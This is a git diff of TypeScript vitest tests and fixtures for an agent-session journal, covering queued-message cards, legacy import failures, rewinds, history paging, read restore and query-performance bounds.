expect(journal.snapshot()).not.toBe(snapshot) - expect(catchUp(request)).toEqual(beforeImport) - expect(ids).toHaveBeenCalledTimes(1) - expect(journal.publicRead().normalizationKey).toBe(key) - expect(ids).toHaveBeenCalledTimes(2) - ids.mockRestore() - const identity = { provider: 'orca' as const, clientMessageId: 'u' } - await journal.appendTombstone(identity, { fence: 0 }) - expect(journal.publicRead().normalizationKey).toBe('') - expect(journal.snapshot().items).toEqual([]) - await journal.appendItem(identity, message('recreated'), threadWrite) - expect([key, '']).not.toContain(journal.publicRead().normalizationKey) - expect(journal.snapshot().items[0]?.body).toEqual(message('recreated')) - await journal.rollEpoch('handle_forked', 0) - expect(journal.epoch).not.toBe(cursor.epoch) - expect(journal.publicRead().normalizationKey).toBe('') - expect(journal.snapshot().items).toEqual([]) - await journal.close() -}) - -it('a rewind while the import has failed moves the legacy cards first: a refused one stays returned', async () => { - const earlier = journalFor(SESSION) - const clear = { command: 'clear' as const } - expect( - await rig.host.conversationCommand(CALLER, { - ...clear, - envelope: rig.envelope(clear, 'agentSession.conversationCommand', hostTestOperationId()) - }) - ).toMatchObject({ ok: true }) - const target = rig.send('rewound away') - expect(await target.result).toMatchObject({ ok: true }) - await eventually(async () => - expect((await rig.submission(target.id))?.handedOverAt).toBeDefined() - ) - await rig.settleAccepted(target.id, 'target') - await rig.host.close(SESSION, 'evict') - await earlier.open() - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - await handOff( - earlier, - 'att-refused', - 'disp-refused', - 'refused, never settled', - 'providerRejected', - fence - ) - await earlier.close() - seedLegacy(SESSION, [ - ['disp-refused', 'dispatched', 'refused, never settled', 'att-refused'], - ['edited', 'waiting', 'waiting, edited'] - ]) - db().exec(`CREATE TEMP TRIGGER fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - const warned = vi.spyOn(console, 'warn').mockImplementation(() => undefined) - const held = [ - { messageId: 'disp-refused', state: 'returned' }, - { messageId: 'edited', state: 'waiting' } - ] - expect(await rig.drafts()).toEqual(held) - db().exec('DROP TRIGGER fail_import') - warned.mockRestore() - - const live = rig.host.collaboratorsForTests().sessions.get(SESSION)!.journal - const rewound = { itemId: agentJournalSubmissionKey(target.id), expectedEpoch: live.epoch } - expect( - await rig.host.rewind(CALLER, { - ...rewound, - envelope: rig.envelope(rewound, 'agentSession.rewind', hostTestOperationId()) - }) - ).toMatchObject({ ok: true }) - expect(live.epoch).toBe(rewound.expectedEpoch) - expect(live.submission('att-refused')).toBeUndefined() - expect(await rig.drafts()).toEqual(held) - await nothingSentTo('edited') - expect(legacyIds()).toEqual([]) -}) - -const retainedHistoryCases = [ - { adopt: false, proof: 'none' }, - { adopt: true, proof: 'none' }, - { adopt: false, proof: 'dispatch' }, - { adopt: true, proof: 'item' } -] -it.each(retainedHistoryCases)('retained history: $adopt / $proof', async ({ adopt, proof }) => { - const earlier = journalFor(SESSION) - await earlier.open() - const append = async (journal: AgentSessionJournal, ordinal: number) => { - await journal.appendItem( - { provider: 'codex', threadId: 'history', turnId: 't', ordinal }, - { ...message('x'.repeat(4_000)), role: 'assistant' }, - { fence: 0, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - } - await append(earlier, 0) - await handOff( - earlier, - 'u', - 'q', - 'stopped words', - 'cancelled', - 0, - async () => { - for (let index = 1; index <= 205; index++) { - await append(earlier, index) - } - }, - proof === 'none' - ? undefined - : { - turn: { provider: 'codex', threadId: 'history', turnId: 't', ordinal: -1 }, - via: 'steer' - } - ) - const stale = readAgentSessionHistory(earlier, { sessionId: SESSION, direction: 'tail' }) - expect(stale.ok).toBe(true) - await earlier.close() - seedLegacy(SESSION, [['q', 'waiting', 'stopped words']]) - if (!adopt) { - db().exec(`CREATE TEMP TRIGGER b2_fail_import BEFORE DELETE ON queued_messages - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - } - const journal = journalFor(SESSION) - await journal.open() - if (!adopt) { - db().exec('DROP TRIGGER b2_fail_import') - } - const queue = { queuedMessages: [], queuePause: null, nextQueuedMessageId: null } - const feed = new AgentSessionSubscribers({ readQueuePublication: () => queue }) - const base = { sessionId: SESSION, journal, fence: 0 } - const oldEvents: AgentSessionSubscribeEvent[] = [] - feed.open({ - ...base, - id: 'old', - cursor: journal.cursor(), - snapshotCatchUp: false, - readsCurrentRequests: false, - emit: (event) => oldEvents.push(event) - }) - expect(oldEvents).toEqual([ - { - type: 'batch', - sessionId: SESSION, - fence: 0, - hostNow: expect.any(Number), - activity: null, - ...queue, - batch: { cursor: journal.cursor(), items: [], removedItemIds: [], submissions: [] } - } - ]) - const corrected: AgentSessionSubscribeEvent[][] = [] - const clients: (() => ReturnType)[] = [] - for (const boundedFrames of [false, true]) { - let state = reduceStructuredAgentSession(EMPTY_STRUCTURED_AGENT_SESSION, { - type: 'history-page', - page: structuredClone(stale.page) - }) - const events: AgentSessionSubscribeEvent[] = [] - corrected.push(events) - clients.push(() => state) - const reader = subscriberHistoryReader({ boundedFrames }) - feed.open({ - ...base, - id: `new-${boundedFrames}`, - cursor: journal.cursor(), - boundedFrames, - snapshotCatchUp: true, - readsCurrentRequests: true, - emit: (event) => { - events.push(event) - state = reduceStructuredAgentSession(state, { - type: 'event', - event: structuredClone(event) - }) - } - }) - expect(events[0]?.type).toBe('snapshot') - while (state.hasOlder) { - const requestedCursor = { epoch: journal.epoch, sequence: state.items[0]!.sequence } - const older = readAgentSessionHistory( - journal, - { sessionId: SESSION, direction: 'before', cursor: requestedCursor }, - { reader } - ) - expect(older.ok).toBe(true) - state = reduceStructuredAgentSession(state, { - type: 'older-page', - requestedCursor, - page: structuredClone(older.page) - }) - } - const canonical = journal.snapshot() - expect([state.items, state.submissions]).toEqual([canonical.items, canonical.submissions]) - feed.publish(SESSION, journal) - await append(journal, 205) - feed.publish(SESSION, journal) - } - const cursor = journal.cursor() - const after = readAgentSessionHistory(journal, { - sessionId: SESSION, - direction: 'after', - cursor - }) - expect(after).toMatchObject({ ok: false, reset: 'cursor_compacted' }) - if (!adopt) { - await journal.queuedMessages.importAtOpen() - feed.publish(SESSION, journal) - } - if (proof !== 'none') { - const placed = journal - .snapshot() - .items.find((item) => item.itemId === agentJournalSubmissionKey('u')) - const loaded = clients.map((client) => client().items.length) - const normalizationKey = journal.publicRead().normalizationKey - const identity = { - provider: 'codex' as const, - threadId: 'history', - turnId: 't', - ordinal: 206 - } - if (proof === 'dispatch') { - await journal.acceptLate({ - clientMessageId: 'u', - state: 'accepted', - fence: 0, - providerIdentity: identity - }) - } - await journal.appendItem(identity, message('stopped words'), threadWrite) - feed.publish(SESSION, journal) - expect(journal.submission('u')?.dispatchState).toBe('accepted') - expect(journal.receiptFor('u')).not.toBeNull() - expect(journal.publicRead().normalizationKey).toBe(normalizationKey) - expect(clients.map((client) => client().items.length)).toEqual(loaded) - for (const client of clients) { - expect(client().items.find((item) => item.itemId === placed?.itemId)).toMatchObject({ - sequence: placed?.sequence, - observedAt: placed?.observedAt, - turnScope: placed?.turnScope, - revision: 1 - }) - expect( - client().submissions.find((submission) => submission.clientMessageId === 'u')?.dispatchState - ).toBe('accepted') - } - } - expect( - corrected.map((events) => events.filter((event) => event.type === 'snapshot').length) - ).toEqual([1, 1]) - expect(oldEvents.every((event) => event.type === 'batch')).toBe(true) - await journal.close() - const reopened = journalFor(SESSION) - await reopened.open() - const resumed: AgentSessionSubscribeEvent[] = [] - new AgentSessionSubscribers().open({ - ...base, - journal: reopened, - id: 'reopen', - cursor: reopened.cursor(), - snapshotCatchUp: true, - readsCurrentRequests: true, - emit: (event) => resumed.push(event) - }) - expect(resumed[0]?.type).toBe('snapshot') - await reopened.close() -}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture.ts new file mode 100644 index 00000000000..b2b106efb96 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-legacy-journal.test-fixture.ts @@ -0,0 +1,34 @@ +import { + seedLegacyTestJournal, + openTestJournalHostDatabase, + pinTestJournalInputMode +} from '../agent-session-journal/journal-host-database-test-support' +import { + claudeProviderHandle, + codexProviderHandle +} from '../../../shared/agent-session-provider-handle-encoding' +import { HOST_TEST_NOW, HOST_TEST_THREAD } from './structured-agent-session-host-test-data' +import type { StructuredAgentSessionHost } from './structured-agent-session-host' + +export function seedQueuedRigLegacyJournal( + root: string, + sessionId: string, + agent?: 'claude' +): (host: StructuredAgentSessionHost) => void { + seedLegacyTestJournal(openTestJournalHostDatabase(root), { + identity: { + sessionId, + workspaceId: 'workspace-1', + hostId: 'local', + agent: agent ?? 'codex', + providerHandle: + agent === 'claude' + ? claudeProviderHandle(HOST_TEST_THREAD, null) + : codexProviderHandle(HOST_TEST_THREAD) + }, + now: () => HOST_TEST_NOW + }) + // Attaching opens the journal; the pin keeps it writing inputs, as a build from before conversion did. + return (host) => + pinTestJournalInputMode(host.collaboratorsForTests().sessions.get(sessionId)!.journal) +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture.ts index 51c1bd9cda0..bae85f50c35 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-message-rig.test-fixture.ts @@ -30,6 +30,7 @@ import { closeTestJournalHostDatabase, openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { seedQueuedRigLegacyJournal } from './structured-agent-session-queued-legacy-journal.test-fixture' import { createStructuredAgentSessionLogger } from './structured-agent-session-logger' import { createQueuedRigProvider, @@ -53,6 +54,7 @@ export type QueuedMessageTestRig = Awaited number /** Teardown records its restart offers, which `restartOffers` lists. */ @@ -100,7 +102,11 @@ export async function createQueuedMessageTestRig( } as const) : {}) }) + const pinLegacy = options.legacyInputs && seedQueuedRigLegacyJournal(root, SESSION, options.agent) expect(await host.attach(QUEUED_RIG_CALLER, firstAttach)).toMatchObject({ ok: true }) + if (pinLegacy) { + pinLegacy(host) + } function envelope( fields: Record, diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-native-responses.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-native-responses.ts new file mode 100644 index 00000000000..7339f7e9969 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-native-responses.ts @@ -0,0 +1,65 @@ +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import type { JournalRow } from '../agent-session-journal/journal-row-schema' +import type { QueuedMessageRow } from '../agent-session-journal/queued-message-table' + +/** Pointer delivery transfers ownership to a card before any submitted turn exists. */ +export class StructuredQueuedNativeResponses { + private readonly messages = new Map() + + reset(journal: AgentSessionJournal): void { + this.messages.clear() + for (const card of journal.queuedMessages.list()) { + this.observe(card) + } + } + + changed(journal: AgentSessionJournal, row: JournalRow): void { + const id = + row.kind === 'queue' + ? row.messageId + : row.kind === 'submission' + ? row.queuedMessageId + : row.kind === 'dispatch' + ? journal.submission(row.clientMessageId)?.queuedMessageId + : undefined + if (id) { + this.changedCard(journal, id) + } + } + + /** The card's current value decides: a present card is re-read, a gone one forgotten. */ + changedCard(journal: AgentSessionJournal, id: string): void { + const card = journal.queuedMessages.get(id) + if (card) { + this.observe(card) + } else { + this.messages.delete(id) + } + } + + private observe(card: QueuedMessageRow): void { + const source = card.body.from?.orchestration + if ( + (card.state === 'waiting' || card.state === 'returned') && + source?.message === 'mail-notice' + ) { + this.messages.set( + card.messageId, + source.messages.map((message) => message.messageId) + ) + } else { + this.messages.delete(card.messageId) + } + } + + *pendingWith(pending: ReadonlySet, disposed: ReadonlySet): Iterable { + yield* pending + for (const messages of this.messages.values()) { + for (const message of messages) { + if (!disposed.has(message)) { + yield message + } + } + } + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-pause-lift.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-pause-lift.test.ts index 1f99738b249..cdde63d6491 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-pause-lift.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-pause-lift.test.ts @@ -645,6 +645,11 @@ describe('a failed Stop', () => { try { // Post-interrupt failure cannot undo the committed Stop receipt. expect(await rig.stop()).toMatchObject({ ok: true }) + expect(failing).toHaveBeenCalledWith( + expect.anything(), + expect.objectContaining({ kind: 'status' }), + expect.anything() + ) } finally { failing.mockRestore() warned.mockRestore() diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts index c8567377e57..4c261cd2337 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-queued-refused-card.test.ts @@ -1,6 +1,9 @@ import { afterEach, beforeEach, expect, it, vi } from 'vitest' import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' -import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import { + openTestJournalHostDatabase, + readTestQueueChanges +} from '../agent-session-journal/journal-host-database-test-support' import type { StructuredAgentSessionAdapter } from './structured-agent-session-adapter' import { HOST_TEST_SESSION as SESSION, @@ -34,26 +37,9 @@ async function queuedDraft(text: string): Promise { } function queueRows(): { messageId: string; op: string }[] { - return openTestJournalHostDatabase(rig.root) - .db.prepare('SELECT row_json FROM journal_rows WHERE session_id = ? ORDER BY seq') - .all(SESSION) - .flatMap((row) => { - const parsed: unknown = - typeof row === 'object' && row !== null && 'row_json' in row - ? JSON.parse(String(row.row_json)) - : null - return typeof parsed === 'object' && - parsed !== null && - 'kind' in parsed && - parsed.kind === 'queue' && - 'messageId' in parsed && - 'change' in parsed && - typeof parsed.change === 'object' && - parsed.change !== null && - 'op' in parsed.change - ? [{ messageId: String(parsed.messageId), op: String(parsed.change.op) }] - : [] - }) + return readTestQueueChanges(openTestJournalHostDatabase(rig.root).db, SESSION).map( + ({ messageId, op }) => ({ messageId, op }) + ) } async function expectNothingSent(...draftIds: string[]): Promise { @@ -92,8 +78,12 @@ it('holds the cards behind it through a rewind, a new epoch, a restart and a Res { messageId: c, state: 'waiting' } ] await eventually(async () => expect(await rig.drafts()).toEqual(held)) - // Refusal lives in dispatch state, without another card row. - expect(queueRows()).toEqual([a, b, c].map((messageId) => ({ messageId, op: 'queued' }))) + // Refusal returns the same card in place: its own state changes, and no card is added. + expect(queueRows()).toEqual([ + ...[a, b, c].map((messageId) => ({ messageId, op: 'queued' })), + { messageId: a, op: 'dispatched' }, + { messageId: a, op: 'returned' } + ]) const rewound = { itemId: target, expectedEpoch: journal().cursor().epoch } expect( diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-read-restore.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-read-restore.test.ts new file mode 100644 index 00000000000..9a79039e4f7 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-read-restore.test.ts @@ -0,0 +1,102 @@ +import { + agentSessionLeaseFixture, + agentSessionRecordFixture +} from '../../../shared/agent-session-record.test-fixture' +import { agentSessionConversationView } from '../../../shared/agent-session-conversation-view' +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, describe, expect, it } from 'vitest' +import type { AgentSessionRecord } from '../../../shared/agent-session-record' +import type { StructuredAgentSessionConversationOpenDeps } from './structured-agent-session-conversation-open' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from '../agent-session-journal/journal-host-database-test-support' +import { publishJournalSessionEpoch } from '../agent-session-journal/journal-row-table' +import { restoreStructuredAgentSessionRead } from './structured-agent-session-read-restore' +import { recordingStructuredAgentSessionLogger } from './structured-agent-session-logger-test-support' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +const SESSION_ID = 'codex_read_restore_fixture' +const WORKSPACE_ID = 'repo-1::/tmp/workspace' + +const RECORD: AgentSessionRecord = { + ...agentSessionRecordFixture( + agentSessionLeaseFixture({ sessionId: SESSION_ID, runtimeFence: 1 }) + ), + sessionId: SESSION_ID, + location: { + executionHostId: 'local', + wslDistro: null, + workspaceId: WORKSPACE_ID, + workspaceKind: 'git-worktree' + }, + provider: 'codex', + accountHome: { variable: 'CODEX_HOME', path: '/tmp/codex-home' }, + providerHandleChain: [ + { + linkId: 'link-1', + handle: codexProviderHandle('thread-1'), + origin: 'created', + mintedAtFence: 1, + observedAt: 1 + } + ] +} + +const store: StructuredAgentSessionConversationOpenDeps['store'] = { + getConversation: (sessionId: string) => + sessionId === SESSION_ID ? agentSessionConversationView(RECORD) : null, + replacedRuntime: () => undefined +} + +let journalRoot: string +const openDeps = () => ({ + store, + journalDatabase: openTestJournalHostDatabase(journalRoot), + logger: recordingStructuredAgentSessionLogger().logger +}) +const opened: AgentSessionJournal[] = [] + +beforeEach(async () => { + journalRoot = await mkdtemp(join(tmpdir(), 'orca-read-restore-')) +}) + +afterEach(async () => { + await Promise.allSettled(opened.splice(0).map((journal) => journal.close())) + closeTestJournalHostDatabases() + await rm(journalRoot, { recursive: true, force: true }) +}) + +describe('read restore', () => { + it('publishes a session with a journal, starting no agent', async () => { + const deps = openDeps() + const restored = await restoreStructuredAgentSessionRead(deps, SESSION_ID) + expect(restored).toBeNull() + publishJournalSessionEpoch( + deps.journalDatabase.db, + { sessionId: SESSION_ID, workspaceId: WORKSPACE_ID }, + 'epoch-1' + ) + + const published = await restoreStructuredAgentSessionRead(deps, SESSION_ID) + + expect(published).not.toBeNull() + opened.push(published!.session.journal) + expect(published!.session.child).toBeNull() + }) + + it('drops a session with no journal', async () => { + const restored = await restoreStructuredAgentSessionRead(openDeps(), SESSION_ID) + + expect(restored).toBeNull() + }) + + it('drops a session with no record', async () => { + const restored = await restoreStructuredAgentSessionRead(openDeps(), 'unknown-session') + + expect(restored).toBeNull() + }) +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-read-restore.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-read-restore.ts new file mode 100644 index 00000000000..30344ffb1ef --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-read-restore.ts @@ -0,0 +1,21 @@ +import { readJournalSessionEpoch } from '../agent-session-journal/journal-row-table' +import { + openStructuredAgentSessionConversationJournal, + type OpenedStructuredAgentSessionConversation, + type StructuredAgentSessionConversationOpenDeps +} from './structured-agent-session-conversation-open' + +/** Open only existing journals without founding empty chats; recovery may still write the crash boundary. */ +export async function restoreStructuredAgentSessionRead( + deps: StructuredAgentSessionConversationOpenDeps, + sessionId: string +): Promise { + const record = deps.store.getConversation(sessionId) + if (!record) { + return null + } + if (readJournalSessionEpoch(deps.journalDatabase.db, sessionId) === null) { + return null + } + return openStructuredAgentSessionConversationJournal(deps, record) +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account-perf.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account-perf.test.ts new file mode 100644 index 00000000000..e80e8c2fa0e --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-account-perf.test.ts @@ -0,0 +1,325 @@ +import { randomUUID } from 'node:crypto' +import * as conversationView from '../../../shared/agent-session-conversation-view' +import { testOrcaSessionId } from '../../../shared/orca-session-address-test-fixture' +import { conversationRecordReader } from '../../runtime/orchestration/structured-session-lineage' +import { structuredSessionMailReach } from '../../runtime/orchestration/structured-session-mail-address' +import { dispatchReportMailbox } from '../../runtime/orchestration/dispatch-report-mailbox' +import { structuredMailNotice } from '../../runtime/orchestration/structured-mail-source' +import { observeReceivingSql } from './structured-agent-session-receiving-sql.test-support' +import { + agentSessionRecordFixture, + agentSessionLeaseFixture +} from '../../../shared/agent-session-record.test-fixture' +import { + openTestAgentSessionRecordStore, + seedTestAgentSessionRecordStore +} from '../../runtime/agent-session-record-store-test-harness' +import { openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' +import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' +import { + createReceivingAccountFixture, + RECEIVING_A, + SELECTED_B +} from './structured-agent-session-receiving-account.test-support' +import { StructuredNativeResponses } from './structured-agent-session-native-responses' +import { structuredAgentSessionReceivingAccount } from './structured-agent-session-receiving-account' +const ordinary: AgentJournalMessageItem = { + kind: 'message', + role: 'user', + blocks: [{ type: 'text', text: 'ordinary' }] +} +it.each([10, 100])( + 'indexes %i native results once and reads only changed journal rows thereafter', + async (n) => { + const f = await createReceivingAccountFixture() + try { + const started = performance.now() + const messages = Array.from({ length: n }, () => f.finish(f.start())) + for (const message of messages) { + const next = await f.submit(f.body(message)) + await f.turn(next.clientMessageId, 'completed') + } + const visits = vi.spyOn(f.journal, 'visitItemsWithLinkage') + const submissions = vi.spyOn(f.journal, 'submissions') + const rows = vi.spyOn(f.journal, 'readSince') + const keys = vi.spyOn(f.journal, 'canonicalItemId') + const projection = new StructuredNativeResponses() + expect(projection.read(f.journal).disposed.size).toBe(n) + expect(visits).toHaveBeenCalledTimes(1) + expect(submissions).toHaveBeenCalledTimes(1) + keys.mockClear() + for (let i = 0; i < n; i += 1) { + projection.read(f.journal) + } + expect(keys).not.toHaveBeenCalled() + expect(rows).not.toHaveBeenCalled() + const next = await f.submit(ordinary, 'client') + keys.mockClear() + projection.read(f.journal) + expect(keys.mock.calls.length).toBeLessThanOrEqual(8) + expect(rows).toHaveBeenCalledTimes(1) + expect(rows.mock.results[0]?.value).toMatchObject({ ok: true }) + expect(visits).toHaveBeenCalledTimes(1) + expect(submissions).toHaveBeenCalledTimes(1) + expect(next.clientMessageId).toBeTruthy() + for (let i = 1; i <= n; i += 1) { + await f.journal.appendTombstone( + { provider: 'claude', sessionId: 'parent-provider', uuid: `turn-receiving-${i}` }, + { fence: 2 } + ) + } + projection.read(f.journal) + expect(visits).toHaveBeenCalledTimes(2) + expect(submissions).toHaveBeenCalledTimes(2) + expect(rows).toHaveBeenCalledTimes(2) + process.stdout.write( + `receiving-account journal corpus=${n} initialVisits=1 initialSubmissionLists=1 unchangedReads=${n} incrementalReads=1 destructiveBatchRebuilds=1 elapsedMs=${(performance.now() - started).toFixed(3)}\n` + ) + } finally { + await f.dispose() + } + } +) + +it.each([10, 100])( + 'bounds real native mailbox enumeration at %i results despite unrelated history', + async (n) => { + const f = await createReceivingAccountFixture() + try { + const began = performance.now() + for (let i = 0; i < n; i += 1) { + const next = await f.submit(f.body(f.finish(f.start()))) + await f.turn(next.clientMessageId, 'completed') + } + for (let i = 0; i < n * 10; i += 1) { + f.db.createTask({ spec: 'unrelated corpus', runId: f.run.id }) + } + const observed = observeReceivingSql(f.db) + const selected = await structuredAgentSessionReceivingAccount(f.deps, f.record, f.session) + expect(selected.home).toEqual(SELECTED_B) + // Scoped reach + current mailbox discovery + canonical report routing are constant preparations. + expect(observed.measurements.prepares).toBeLessThanOrEqual(20) + expect(observed.measurements.allRows).toBeLessThanOrEqual(n + 4) + expect(observed.measurements.plans.length).toBeGreaterThan(0) + expect( + observed.measurements.plans.filter((detail) => + /\bSCAN (?:run|child|task|parent|messages|dispatch_contexts|agent_session_records)\b/.test( + detail + ) + ) + ).toEqual([]) + observed.stop() + process.stdout.write( + `receiving-account native results=${n} unrelatedTasks=${n * 10} statements=${observed.measurements.prepares} enumerated=${observed.measurements.allRows} elapsedMs=${(performance.now() - began).toFixed(3)}\n` + ) + } finally { + await f.dispose() + } + } +) + +it.each([10, 100])( + 'reads %i historical clear links through the real record index, independent of other chats', + async (n) => { + const f = await createReceivingAccountFixture() + try { + const began = performance.now() + const predecessors = Array.from({ length: n }, (_, i) => ({ + ...agentSessionRecordFixture( + agentSessionLeaseFixture({ sessionId: `clear-source-${i}`, runtimeFence: 2 }) + ), + conversationCommand: { + command: 'clear' as const, + state: 'completed' as const, + phase: 'committed' as const, + runtimeFence: 2, + callerKey: 'legacy-client', + operationId: '1800000000000-00000000000000000000000000000003', + replacementSessionId: i === n - 1 ? f.root : `clear-source-${i + 1}` + } + })) + const unrelated = Array.from({ length: n * 10 }, (_, i) => + agentSessionRecordFixture(agentSessionLeaseFixture({ sessionId: `unrelated-chat-${i}` })) + ) + await seedTestAgentSessionRecordStore(f.rig.root, { + records: [f.record, ...predecessors, ...unrelated] + }) + const store = await openTestAgentSessionRecordStore(f.rig.root) + const db = openTestJournalHostDatabase(f.rig.root).db + const prepare = db.prepare.bind(db) + let reads = 0 + let enumerated = 0 + const spy = vi.spyOn(db, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql) + const all = statement.all.bind(statement) + vi.spyOn(statement, 'all').mockImplementation((...args) => { + reads += 1 + const rows = all(...args) + enumerated += rows.length + const plan = prepare(`EXPLAIN QUERY PLAN ${sql}`).all(...args) + expect( + plan.some( + (row) => + typeof row.detail === 'string' && + row.detail.includes('idx_agent_session_clear_successor') + ) + ).toBe(true) + return rows + }) + return statement + }) + const lineage = store.lineageRecords(f.record) + expect(lineage.map((record) => record.sessionId)).toEqual([ + ...predecessors.map((record) => record.sessionId), + f.root + ]) + expect(spy).toHaveBeenCalledTimes(1) + expect(reads).toBe(n + 1) + expect(enumerated).toBe(n) + spy.mockRestore() + process.stdout.write( + `receiving-account clearLinks=${n} unrelatedChats=${n * 10} indexPrepares=1 lookups=${reads} enumerated=${enumerated} elapsedMs=${(performance.now() - began).toFixed(3)}\n` + ) + } finally { + await f.dispose() + } + } +) + +it.each([ + { l: 10, u: 100 }, + { l: 100, u: 100 }, + { l: 10, u: 1000 }, + { l: 100, u: 1000 } +])( + 'bounds canonical receiving projections for lineage $l with $u unrelated chats', + async ({ l, u }) => { + const f = await createReceivingAccountFixture() + try { + const ids = Array.from({ length: l - 1 }, () => testOrcaSessionId(randomUUID())) + const predecessors = ids.map((sessionId, i) => ({ + ...agentSessionRecordFixture(agentSessionLeaseFixture({ sessionId, runtimeFence: 2 })), + conversationCommand: { + command: 'clear' as const, + state: 'completed' as const, + phase: 'committed' as const, + runtimeFence: 2, + callerKey: 'legacy-client', + operationId: '1800000000000-00000000000000000000000000000003', + replacementSessionId: ids[i + 1] ?? f.root + } + })) + const unrelated = Array.from({ length: u }, () => + agentSessionRecordFixture(agentSessionLeaseFixture({ sessionId: randomUUID() })) + ) + await seedTestAgentSessionRecordStore(f.rig.root, { + records: [f.record, ...predecessors, ...unrelated] + }) + const store = await openTestAgentSessionRecordStore(f.rig.root) + const record = store.requireWritableRecord(f.root) + expect(store.lineageRecords(record).map((item) => item.sessionId)).toEqual([...ids, f.root]) + const root = ids[0] + if (!root) { + throw new Error('clear lineage requires a predecessor') + } + const original = store.getConversation(root) + if (!original) { + throw new Error('canonical lineage root missing') + } + const reader = conversationRecordReader(store) + expect(structuredSessionMailReach(reader, original, f.db, reader)).toMatchObject({ + kind: 'reachable', + session: { sessionId: f.root } + }) + const run = f.db.createRun({ + objective: 'clear-lineage native work', + coordinatorHandle: null, + coordinatorPaneKey: null, + coordinatorOrcaSessionId: root + }) + const child = f.db.createStartingWorkerDispatch({ + taskSpec: 'report to the current clear successor', + taskRunId: run.id, + taskCreatedByRunGeneration: run.consumer_generation, + creator: { kind: 'session', orcaSessionId: root }, + maxDepth: 9, + startOptions: {} + }) + expect(dispatchReportMailbox(f.db, child.dispatch)).toBe(`run:${run.id}`) + const all = vi.spyOn(store, 'listRecords').mockImplementation(() => { + throw new Error('global raw history scan') + }) + const conversations = vi.spyOn(store, 'listConversations').mockImplementation(() => { + throw new Error('global conversation scan') + }) + const projection = vi.spyOn(conversationView, 'agentSessionConversationView') + const decide = async (expected: typeof RECEIVING_A) => { + projection.mockClear() + const observed = observeReceivingSql(f.db) + try { + expect( + (await structuredAgentSessionReceivingAccount({ ...f.deps, store }, record, f.session)) + .home + ).toEqual(expected) + // Array.map supplies index/array; direct getConversation projections take one argument. + const mapped = projection.mock.calls.filter((args) => args.length > 1).length + expect(mapped).toBeGreaterThan(0) + expect(mapped).toBeLessThanOrEqual(3 * l) + expect(observed.measurements.prepares).toBeLessThanOrEqual(20) + expect(observed.measurements.allRows).toBeLessThanOrEqual(8) + expect(observed.measurements.plans.length).toBeGreaterThan(0) + expect( + observed.measurements.plans.filter((detail) => + /\bSCAN (?:run|child|task|parent|messages|dispatch_contexts|agent_session_records)\b/.test( + detail + ) + ) + ).toEqual([]) + expect(all).not.toHaveBeenCalled() + expect(conversations).not.toHaveBeenCalled() + process.stdout.write( + `receiving-projection lineage=${l} unrelated=${u} mapped=${mapped} bound=${3 * l} sql=${observed.measurements.prepares} rows=${observed.measurements.allRows} home=${expected.path}\n` + ) + } finally { + observed.stop() + } + } + await decide(RECEIVING_A) + const message = f.db.commitWorkerDoneMessageMutation(() => { + f.db.completeDispatch(child.dispatch.id) + return f.db.insertMessage({ + from: 'structworker_e7f53907-0cde-40b9-81c5-d18eb66c07a4', + to: dispatchReportMailbox(f.db, child.dispatch), + runId: run.id, + type: 'worker_done', + subject: 'completed', + payload: JSON.stringify({ + dispatchId: child.dispatch.id, + taskId: child.task.id, + outcome: 'succeeded' + }), + deliveryContract: 'current_delivery' + }) + }) + await decide(RECEIVING_A) + const next = await f.submit( + structuredMailNotice({ + db: f.db, + mailboxHandle: `run:${run.id}`, + dispatchId: null, + batch: { messages: [message], heldDeliveryId: undefined }, + cliCommand: 'orca-dev', + senderName: () => null + }) + ) + await decide(RECEIVING_A) + await f.turn(next.clientMessageId, 'completed') + await decide(SELECTED_B) + 